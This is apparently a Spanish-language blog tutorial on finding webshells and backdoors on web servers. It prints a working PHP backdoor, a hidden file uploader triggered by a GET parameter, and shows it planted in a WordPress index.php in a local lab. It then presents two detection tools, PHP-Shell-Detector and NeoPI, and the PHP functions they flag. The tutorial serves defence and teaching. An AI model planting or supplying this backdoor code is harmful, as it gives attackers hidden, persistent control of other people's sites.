Detectando Webshells o Backdoors en Servidores Web

Es muy común ya ver cientos de páginas web “Defaceadas” o “hackeadas” una y otra vez, en ocasiones vemos que los grupos que se dedican a esta labor de hacer de una u otra manera “Hacktivismo” o ya sea sólo por demostrar sus conocimientos, repiten targets recalcando la mala seguridad que implementan en dichos targets (objetivos-páginas web) pues esto se debe a que una vez que es vulnerado un servidor web como tal, se plantan las famosas BACKDOORS o PUERTAS TRACERAS – no es suficiente con activar el Back Up (copia de seguridad) que muy seguramente tenemos para en un caso de emergencia restablecer el funcionamiento como tal del aplicativo.

La función de un Backdoor o puerta trasera, consiste en dejar un “hueco” por donde un atacante pueda volver a tomar control del servidor o página web sin problema alguno, a continuación les explicaré una de las Backdoors mas fáciles de implementar en PHP.

Esta Backdoor es simplemente un UPLOADER creado en PHP pero está oculto dentro de un archivo del sitio afectado, para este ejemplo usaremos www.wordpress.com (no se emocionen esto es en un entorno controlado LOCALMENTE xD )

CÓDIGO :

<?php

 if (isset($_GET['backdoor'])) {
   echo '<center>
<form action="" method="post" enctype="multipart/form-data">    Seleccione el Archivo
 <input value="Examinar" name="archivo" type="file">
    <input value="0xSubir" type="submit"></form></center>';
    if (isset($_FILES['archivo']))
    {
    $ar=$_FILES['archivo']['name'];
    if (copy($_FILES['archivo']['tmp_name'],$path . $_FILES['archivo']['name'])) {
		echo '<center><h3>Archivo Subido en <a href="'.$ar.'">'.$ar.'</a></h3></center>'; }
    elseif (move_uploaded_file($_FILES['archivo']['tmp_name'],$path . $_FILES['archivo']['name'])){
		echo '<center><h3>Archivo Subido en <a href="'.$ar.'">'.$ar.'</a></h3></center>'; }
	else { echo '<center><h3>Error al Subir Archivo</h3></center>'; } } }
?>

Paso a explicar como funciona esta Backdoor.

Como podemos observar en

 if (isset($_GET['backdoor'])) { 

nos esta diciendo que si el valor enviado por GET es backdoor, entonces nos va a mostrar nuestro UPLOADER, obviamente esta programado sin ningún tipo de filtros.

Para una mayor comprensión veamos el ejemplo en el entorno controlado:

backdoor_post
Usaré en esta oportunidad el CMS ya conocido como WordPress .. se puede observar el sitio en normal funcionamiento, vemos que hay un post de una entrevista a Chema Alonso la cual se publico en el blog de la comunidad r00tc0d3rs para los que quieran leerla Aquí el Link (http://r00tc0d3rs.org/pequena-entrevista-a-chema-alonso-el-maligno/).

lastimosamente corrimos con tan mala suerte que hemos sido vulnerados por un atacante el cual ha logrado montar una SHELL WEB con tan mala suerte que ni cuenta nos dimos de cuando sucedió esto ya que el atacante en esta ocasión no hizo un DEFACEMENT solo vulnero y tiene control de nuestro sitio, para evitar ser descubierto decidió borrar la SHELL que había montado pero no sin antes plantar su Backdoor.

backdoor_post1
Aquí podemos observar la backdoor plantada en el archivo index.php

backdoor_post2
Aquí logramos observar la manera de como el atacante haría uso de la Backdoor plantada en nuestro sitio, con tan solo enviar como valor backdoor a index.php para así de esta manera subir algún archivo que necesite tener alojado en nuestro sitio.

RECORDEMOS QUE NO TODOS LOS ATACANTES VULNERAN SITIOS SÓLO PARA REALIZAR UN DEFACEMENT, TAMBIÉN LO HACEN PARA TOMAR COMO “ZOMBIE” UN SERVIDOR COMO TAL, YA SEA PARA PROPAGAR MALWARE O SIMPLEMENTE PARA REALIZAR ATAQUES DdoS HACIENDO USO DE NUESTROS RECURSOS.

backdoor_post3
Aquí se puede observar que se subió el archivo 404.php sin problema alguno a nuestro hosting.

Sólo basta con llamar al archivo desde la URL www.wordpress.com/404.php

backdoor_post4
Aquí ya nos podemos dar idea de que tan IMPORTANTE debe de ser el mantenimiento a nuestro sitio web, recordemos verificar fechas de actualización de los archivos alojados en el hosting, el usuario con el cual fue subido el archivo, revisar código fuente y verificar que todo esté en orden.

NOTA: Aquí solo les mencioné una de las mil maneras de como un atacante silencioso puede plantar una Backdoor en nuestro sitio web, Existen varias maneras de plantar Backdoors ya sea abriendo puertos y enlazándolos de tal manera que el atacante pueda tener control por consola, también recordemos que un atacante podría matar procesos en este caso el AV para así subir un troyano y ejecutarlo en el servidor para ya luego tener control de este, incluso podemos ver Backdoors ofuscadas en archivos como imágenes (así que cuidado con que imágenes suben a sus sitios).

PERO BUENO, DE SEGURO QUE NO LES SUENA LA IDEA DE IR LINEA POR LINEA EN BUSCA DE ALGO SOSPECHOSO ¿ VERDAD ?

Para el alivio de muchos existen SCRIPTS programados de tal manera que permita leer el código fuente de los archivos en busca de POSIBLES BACKDOORS.

Índice

¿Cómo funcionan estos scripts para detectar webshells?

Por lo general la mayoría de shells – Backdoors utilizan funciones en php conocidas como por ejemplo eval(), system(), shell_exec(), exec(), passthru() .. entre otras...

también reconocen strings conocidos provenientes de algunas shells tales como C99, WSO..

Bien pues les mostrare algunas de las varias opciones para detectar Backdoors.

1. SHELL DETEC:

shell detect
Este SCRIPT programado en PHP hace uso de una base de datos en la cual se encuentran palabras o términos claves como los que les menciono arriba (eval, system, exec....) para identificar como posibles archivos maliciosos en este caso Backdoors.

Se puede descargar desde Aquí : https://github.com/emposha/PHP-Shell-Detector/

Sólo basta con subir el archivo shelldetect.php y shelldetect.db en nuestro hosting, al llamar el script desde la URL nos pedirá un usuario y una contraseña.

User: admin
Password: protect

al abrirlo automáticamente hace el escaneo del hosting en busca de archivos maliciosos.

2. NEOPI :

neopi
neopi.py un script desarrollado en PYTHON igual que el anterior y de los muchos scripts que podremos encontrar en internet se enfocan en buscar las funciones que podrían ser utilizadas a la hora de plantar Backdoors.

./neopi.py -c escaneo-sitio1.csv -a -A /var/www/detect/ /var/www/detect/

-c nos crea un archivo con el reporte de los posibles archivos maliciosos encontrados

-a nos ejecuta todas las opciones de testeo

-A es la ruta en la que queremos correr el testeo es decir donde queremos detectar los archivos maliciosos.

Se puede descargar desde Aquí: https://github.com/Neohapsis/NeoPI

NOTA: SIEMPRE EXISTIRAN MANERAS DE EVADIR ESTOS SCRIPTS, ASÍ QUE ESTÁ EN NOSOTROS TRATAR DE MEJORAR EL SCRIPT PARA PONERLE MAS DIFICIL EL TRABAJO AL MALINTENCIONADO.

Neopi2
Bueno esto ha sido todo, si alguien quiere aportar otros métodos para identificar backdoors por favor hacerlo y si se puede iremos actualizando el post.

Salu2.

Subir